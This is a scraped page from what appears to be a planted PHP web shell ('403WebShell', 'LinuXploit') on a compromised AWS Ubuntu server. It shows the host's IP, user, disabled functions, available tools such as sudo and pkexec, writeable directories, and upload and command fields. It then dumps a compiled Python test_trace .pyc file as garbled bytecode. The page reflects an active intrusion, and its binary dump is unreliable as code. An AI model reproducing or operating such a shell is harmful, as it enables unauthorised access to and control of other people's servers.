Uname:Linux ip-10-0-5-176 6.8.0-1057-aws #60~22.04.1-Ubuntu SMP Wed May 27 08:16:59 UTC 2026 x86_64

403WebShell
403Webshell
Server IP : 3.111.61.48  /  Your IP : 216.73.216.67
Web Server : Apache
System : Linux ip-10-0-5-176 6.8.0-1057-aws #60~22.04.1-Ubuntu SMP Wed May 27 08:16:59 UTC 2026 x86_64
User : ubuntu ( 1000)
PHP Version : 8.2.31
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3.10/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3.10/test/__pycache__/test_trace.cpython-310.pyc
o

�9j�Q�@s�ddlZddlmZddlZddlmZddlmZmZm	Z	ddl
mZmZddl
Z
ddlZddlZddlmZddlmZdd	�Zd
d�Zdd
�Zdd�Zdd�Zdd�Zdd�Zdd�Zdd�Zdd�Zdd�Zdd�Zd d!�Zd"d#�Z Gd$d%�d%e!�Z"Gd&d'�d'ej#�Z$Gd(d)�d)ej#�Z%Gd*d+�d+ej#�Z&Gd,d-�d-ej#�Z'Gd.d/�d/ej#�Z(Gd0d1�d1ej#�Z)Gd2d3�d3ej#�Z*Gd4d5�d5ej#�Z+e,d6kr�e�-�dSdS)7�N)�dump)�captured_stdout)�TESTFN�rmtree�unlink��assert_python_ok�assert_python_failure)�Trace)�testmodcCs|�d�r|dd�}|S)z8Given a .pyc filename converts it to the appropriate .pyz.pycN���)�endswith)�filename�r�&/usr/lib/python3.10/test/test_trace.py�
fix_ext_pys
rcCs$tj�tj�t��d}tt�|fS)z4The .py file and module name of this file (__file__)r)�os�path�splitext�basename�__file__r)�modnamerrr�my_file_and_modnamesrcCs|jjS�N)�__code__�co_firstlineno��funcrrr�get_firstlineno�rcCs|}|}||}|Srr)�x�y�a�b�crrr�traced_func_linear&sr%cCs|}td�D]}||7}q|S�N���range)r r!r$�irrr�traced_func_loop,s
r+cCs||t�d�S)N�)rr)r r!rrr�traced_func_importing2sr-cCst||�}||Sr�r%)r r$rrr�traced_func_simple_caller5s
r/cCst|�}|t||�7}|Sr)r/r-)r �krrr�traced_func_importing_caller9sr1ccs"�d}t|�D]}||VqdSr&r()�numr$r*rrr�traced_func_generator>s
��r3cCsd}td�D]}||7}qdS)Nr�
)r3)r0r*rrr�traced_func_calling_generatorCs
�r5cC�|dS�N�r)r2rrr�traced_doublerHrr9cOs||fSrr)�args�kwargsrrr�traced_capturerKrr<cCsd}dd�t|�D�}|S)Nr4cSsg|]}t|��qSr)r9)�.0r*rrr�
<listcomp>Psz4traced_caller_list_comprehension.<locals>.<listcomp>r()r0�mylistrrr� traced_caller_list_comprehensionNsr@cCs,dd�}dd�}||�dd���}|�dS)NcS�|Srr��frrr�
decorator1T�z-traced_decorated_function.<locals>.decorator1cSsdd�}|S)NcSrArrrBrrr�
decorator2WrEzGtraced_decorated_function.<locals>.decorator_fabric.<locals>.decorator2r�rFrrr�decorator_fabricVsz3traced_decorated_function.<locals>.decorator_fabriccSsdSrrrrrrrZsz'traced_decorated_function.<locals>.funcr)rDrHrrrr�traced_decorated_functionSs
rIc@s<eZdZdd�Zdd�Zdd�Zedd��Zed	d
��Z	dS)�TracedClasscCs
||_dSr�r")�selfr rrr�__init__b�
zTracedClass.__init__cCs
|j|SrrK)rLr!rrr�inst_method_linearerN�TracedClass.inst_method_linearcCs|�|�}|t||�Sr)rOr%)rLr r$rrr�inst_method_callingh�
�TracedClass.inst_method_callingcCs|dSr7r)�clsr!rrr�class_method_linearl�zTracedClass.class_method_linearcCr6r7r)r!rrr�static_method_linearprVz TracedClass.static_method_linearN)
�__name__�
__module__�__qualname__rMrOrQ�classmethodrU�staticmethodrWrrrrrJas
rJc@sPeZdZdZdd�Zdd�Zdd�Zdd	�Zd
d�Zdd
�Z	dd�Z
dd�ZdS)�TestLineCountsz/White-box testing of line-counting, via runfunccCs2|�tjt���tddddd�|_tt�|_dS)Nr,r��count�trace�
countfuncs�countcallers)	�
addCleanup�sys�settrace�gettracer
�tracerrr�my_py_filename�rLrrr�setUpzszTestLineCounts.setUpcCsb|j�tdd�}|�|d�i}tt�}tdd�D]}d||j||f<q|�|j��j|�dS)Nr8r'�r,)	rg�runfuncr%�assertEqualrr)rh�results�counts)rL�result�expected�firstlinenor*rrr�test_traced_func_linearsz&TestLineCounts.test_traced_func_linearc	Csl|j�tdd�tt�}|j|dfd|j|dfd|j|dfd|j|dfdi}|�|j��j|�dS)Nr8�r,�r'�)rgrlr+rrhrmrnro�rLrrrqrrr�test_traced_func_loop�s�z$TestLineCounts.test_traced_func_loopcCs^|j�tdd�tt�}|j|dfdttj�dfdttj�dfdi}|�|j�	�j
|�dS)Nr8r'r,rt)rgrlr-rrhrrrrmrnrorwrrr�test_traced_func_importing�s�z)TestLineCounts.test_traced_func_importingc
Cs�|j�t�tt�}tt�}|j|dfd|j|dfd|j|dfd|j|dfd|j|dfd|j|dfdi}|�|j��j|�dS)Nr,r8�rtr4)	rgrlr5rr3rhrmrnro)rL�firstlineno_calling�firstlineno_genrqrrr�test_trace_func_generator�s�z(TestLineCounts.test_trace_func_generatorc	Csp|j�t�tt�}tt�}|j|dfd|j|dfd|j|dfd|j|dfdi}|�|j��j|�dS)Nr,r8�rtr4)	rgrlr@rr9rhrmrnro)rLr{�firstlineno_calledrqrrr�test_trace_list_comprehension�s�z,TestLineCounts.test_trace_list_comprehensioncCs�|j�t�tt�}|j|dfd|j|dfd|j|dfd|j|dfd|j|dfd|j|dfd|j|dfd|j|dfd|j|d	fd|j|d
fd|j|dfdi}|�|j��j|�dS)Nr,r8rtrvr'rurk��	r4rz)rgrlrIrrhrmrnrorwrrr�test_traced_decorated_function�s�
z-TestLineCounts.test_traced_decorated_functioncCshdD]/}tddddd�}td�}t||�}|�|d�t|�}|j|dfdi}|�|��j|�qdS)N)rOr,rr^��)	r
rJ�getattrrlrrhrmrnro)rL�methnamerg�
traced_obj�methodrrrqrrr�test_linear_methods�s
��z"TestLineCounts.test_linear_methodsN)rXrYrZ�__doc__rjrsrxryr}r�r�r�rrrrr]xsr]c@s eZdZdZdd�Zdd�ZdS)�TestRunExecCountsz8A simple sanity test of line-counting, via runctx (exec)cCs tt�|_|�tjt���dSr)rrrhrcrdrerfrirrrrj�s
zTestRunExecCounts.setUpc	Cs�tddddd�|_d}t|td�}|j�|t�t��tt�}|j	|dfd|j	|dfd|j	|dfd	|j	|d
fdi}|�
�D]}|�|j��j
|||�qAdS)Nr,rr^ztraced_func_loop(2, 5)�execr8rurtr'rv)r
rg�compiler�runctx�globals�varsrr+rh�keysrmrnro)rL�coderrrqr0rrr�test_exec_counts�s��z"TestRunExecCounts.test_exec_countsN)rXrYrZr�rjr�rrrrr��sr�c@sbeZdZdZdd�Zdd�Zdd�Zdd	�Zd
d�Ze	�
eed�o$e�
�d
�dd��Zdd�ZdS)�	TestFuncsz"White-box testing of funcs tracingcCs8|�tjt���tdddd�|_t�|_t��|_dS)Nrr,)r_r`ra)	rcrdrerfr
rgr�filemod�_saved_tracefuncrirrrrjszTestFuncs.setUpcCs|jdur
t�|j�dSdSr)r�rdrerirrr�tearDown	s
�zTestFuncs.tearDowncCs>|j�td�|jdd|jddi}|�|j��j|�dS)Nr,�r/r.)rgrlr/r�rmrn�calledfuncs�rLrqrrr�test_simple_caller
s


�zTestFuncs.test_simple_callercCs�|jjtddddd�}|�|dddd�f�|�t��|jjtdd�Wd�n1s.wY|�t��|j��Wd�dS1sIwYdS)Nr,r8rtrv)rLr)r,r8)r�arg)rgrlr<rm�assertRaises�	TypeError)rL�resrrr�test_arg_errorss�"�zTestFuncs.test_arg_errorscCsb|j�td�|jdd|jdd|jdd|jddttj�ddfdi}|�|j��j	|�dS)Nr,r�r.�r1�r-rr)
rgrlr1r�rrrrmrnr�r�rrr�test_loop_caller_importings



�z$TestFuncs.test_loop_caller_importingrf�3pre-existing trace function throws off measurementscCsRtd�}|j�|jd�|jdd|jdd|jddi}|�|j��j|�dS)Nr�r,)rS)rPr.)rJrgrlrQr�rmrnr�)rL�objrqrrr�test_inst_method_calling*s


�z"TestFuncs.test_inst_method_callingc
CsZ|j�t�|jdd|jdd|jdd|jdd|jddi}|�|j��j|�dS)N)rIr,)rHrG)rDr)rgrlrIr�rmrnr�r�rrrr�7s




�z(TestFuncs.test_traced_decorated_functionN)rXrYrZr�rjr�r�r�r��unittest�skipIf�hasattrrdrfr�r�rrrrr�s	�
r�c@s:eZdZdZdd�Ze�eed�oe�	�d�dd��Z
dS)	�TestCallersz$White-box testing of callers tracingcCs.|�tjt���tdddd�|_t�|_dS)Nrr,)r_r`rb)rcrdrerfr
rgrr�rirrrrjFszTestCallers.setUprfr�cCs�|j�td�tj�tj�ddddf|jdfd|jd|jdfd|jd|jdfd|jd|jd	fd|jd	t	t
j�d
dffdi}|�|j��j
|�dS)Nr,r�.pyr`z
Trace.runfuncr�r�r.r�rr)rgrlr1rrrr`rr�rrrmrn�callersr�rrrr�Ks.������z&TestCallers.test_loop_caller_importingN)rXrYrZr�rjr�r�r�rdrfr�rrrrr�Ds�r�c@sHeZdZdd�Zdd�Z	ddd�Zdd	�Zd
d�Zdd
�Zdd�Z	dS)�TestCoveragecCs|�tjt���dSr)rcrdrerfrirrrrjaszTestCoverage.setUpcCstt�tt�dSr)rrrrirrrr�dszTestCoverage.tearDown�_import test.support, test.test_pprint;test.support.run_unittest(test.test_pprint.QueryTestCase)cCs&|�|�|��}|jddtd�dS)NT)�show_missing�summary�coverdir)�runrn�
write_resultsr)rLrg�cmd�rrrr�	_coveragehs
zTestCoverage._coveragecCs�tjddd�}t��
}|�|�Wd�n1swY|��}|�d|�|�d|�t�t�}|�d|�|�d|�dS)Nrr,�r`r_z	pprint.pyzcase.pyzpprint.coverzunittest.case.cover)	r`r
rr��getvalue�assertInr�listdirr)rLrg�stdout�filesrrr�
test_coverageos�
zTestCoverage.test_coveragecCs�tj�tj�tj��}tjtjtj	|gddd�}t
��
}|�|�Wd�n1s+wYtj�t
�rDt�t
�}|�|dg�dSdS)Nrr,)�
ignoredirsr`r_z_importlib.cover)rr�normpath�dirnamerr`r
rd�base_prefix�base_exec_prefixrr��existsrr�rm)rL�libpathrgr�r�rrr�test_coverage_ignorezs���
�z!TestCoverage.test_coverage_ignorec
Cs�tjddd�}d}|tjvrtj|=d}t��}|�||�Wd�n1s(wY|�d�|��i}|D]}|��dd�\}}}	t	|�t	|dd��f||	<q:t�
tj|j�}|�||�|�
||d�dS)	Nrr,r�ztest.tracedmodules.testmodz<import test.tracedmodules.testmod as t;t.func(0); t.func2();rtr)r'�d)r`r
rd�modulesrr��seek�readline�split�int�_fullmodnamerr�rm)
rLrgrr�r��coverage�line�lines�cov�modulerrr�test_issue9936�s"
�
zTestCoverage.test_issue9936cCs|td}t|d��}tiiddif|dd�Wd�n1s wY|�t|�t�ii|i�}|�|jddi�dS)Nz-infile�wb�callerr,)�protocol)	r�openrrcrr`�CoverageResultsrmr�)rL�infilerCrnrrr�test_coverageresults_update�s�z(TestCoverage.test_coverageresults_updateN)r�)
rXrYrZrjr�r�r�r�r�r�rrrrr�`s
�r�c@seZdZdd�ZdS)�Test_IgnorecCs�tjj}t�ddg|dd�g�}|�|�dd��|�|�dd��|�|�dd	��|�|�|ddd
�d��|�|�|dd�d
��|�|�|dd
�d��dS)Nr zy.z�foo�barzx.pyzxy.py�xyzy.pyr!zbaz.py�bazzz.py�z)rr�joinr`�_Ignore�
assertTrue�names�assertFalse)rL�jn�ignorerrr�test_ignored�szTest_Ignore.test_ignoredN)rXrYrZr�rrrrr��sr�c@s4eZdZdZdZdd�Zdd�Zdd�Zd	d
�ZdS)�TestCoverageCommandLineOutputztmp.pyz	tmp.covercCsFt|jddd��}|�t�d��Wd�dS1swYdS)N�w�iso-8859-15��encodingu�                # coding: iso-8859-15
                x = 'spœm'
                if []:
                    print('unreachable')
            )r��codefile�write�textwrap�dedent)rLrCrrrrj�s"�z#TestCoverageCommandLineOutput.setUpcCst|j�t|j�dSr)rr��	coverfilerirrrr��rRz&TestCoverageCommandLineOutput.tearDowncCs�tj�tj�tj��}tj�|d�}t|�d��|j	g}t
|�\}}}|�|d�|�tj�
|��|�tj�
|j��t|jdd��}|�|��d�Wd�dS1sYwYdS)Nztrace.coverz-m trace --count�r�r�u^       # coding: iso-8859-15
    1: x = 'spœm'
    1: if []:
           print('unreachable')
)rrr��abspathr`rr�rr�r�rrmr�r�r�r�r��read)rL�tracedir�tracecoverpath�argv�statusr��stderrrCrrr�%test_cover_files_written_no_highlight�s
�"�zCTestCoverageCommandLineOutput.test_cover_files_written_no_highlightcCs|d��|jg}t|�\}}}|�tj�|j��t|jdd��}|�	|�
�t�d��Wd�dS1s7wYdS)Nz-m trace --count --missingr�r�u�                       # coding: iso-8859-15
                    1: x = 'spœm'
                    1: if []:
                >>>>>>     print('unreachable')
            )
r�r�rr�rrr�r�r�rmr�r�r�)rLr�r�r�r�rCrrr�'test_cover_files_written_with_highlight�s"�zETestCoverageCommandLineOutput.test_cover_files_written_with_highlightN)	rXrYrZr�r�rjr�r�r�rrrrr��s	r�c@s4eZdZdd�Zdd�Zdd�Zdd�Zd	d
�ZdS)�TestCommandLinecCs:d}|D]^}}tddg|�R��^}}|�||�qdS)N))s3progname is missing: required with the main options�-lz-T)s8cannot specify both --listfuncs and (--trace or --count)z-lc)s>argument -R/--no-report: not allowed with argument -r/--reportz-rR)sLmust specify one of --trace, --count, --report, --listfuncs, or --trackcallsz-g)s-r/--report requires -f/--filez-r)s3--summary can only be used with --count or --reportz-sT)sunrecognized arguments: -yz-y�-mr`)r	r�)rL�_errors�messager:�_r�rrr�
test_failures�s
�zTestCommandLine.test_failurescCs�td}tj�t�}t|ddd��7}|�t|�|�d�tddd|dd	�\}}}|�	d
|�d|�d|�d
�}|�	|�
�|�Wd�dS1sKwYdS)Nr�r��utf-8r�za = 1
r�r`r���PYTHONIOENCODINGsfunctions called:z
filename: z, modulename: z, funcname: <module>)rrrrr�rcrr�rr��encode)rLr�
modulename�fdr�r�r�rqrrr�test_listfuncs_flag_success�s

�"�z+TestCommandLine.test_listfuncs_flag_successcCs�ttddd��}|�tt�|�d�|�d�Wd�n1s"wYtt�\}}}tdddtdd	�\}}}|�|��|�dS)
Nr�rr�zimport sys
zprint(type(sys.argv))
r�r`r�r)r�rrcrr�rr��strip)rLr	r��
direct_stdoutr��trace_stdoutrrr�test_sys_argv_lists
�
�z"TestCommandLine.test_sys_argv_listcCs�t�d�}t�d�}tj�t�}t|ddd��}|�t|�|�t|�|�t�	d��Wd�n1s6wYt
ddd	|dd
�\}}}|��}|�|d�|�
d|�|�
d
|�d|�d�|�dS)Nr�z.coverr�rr�z�                x = 1
                y = 2

                def f():
                    return x + y

                for i in range(10):
                    f()
            r�r`z-csrrzlines   cov%   module   (path)z6   100%   z   (�))rrrrr�rcrr�r�r�r�decodermr�)rLr�
coverfilenamerr	r�r�rrrr�test_count_and_summarys

�

�z&TestCommandLine.test_count_and_summarycCs(tddddddd�tddddd�dS)	Nr�r`r�z--module�timeitz-n�1�not_a_module_zzzrrirrr�test_run_as_module$sz"TestCommandLine.test_run_as_moduleN)rXrYrZrr
rrrrrrrr��s
r��__main__).r�picklerrd�test.supportr�test.support.os_helperrrr�test.support.script_helperrr	r�r�r`r
�test.tracedmodulesrrrrr%r+r-r/r1r3r5r9r<r@rI�objectrJ�TestCaser]r�r�r�r�r�r�r�rX�mainrrrr�<module>sJ
mCG
2C�

Youez - 2016 - github.com/yon3zu
LinuXploit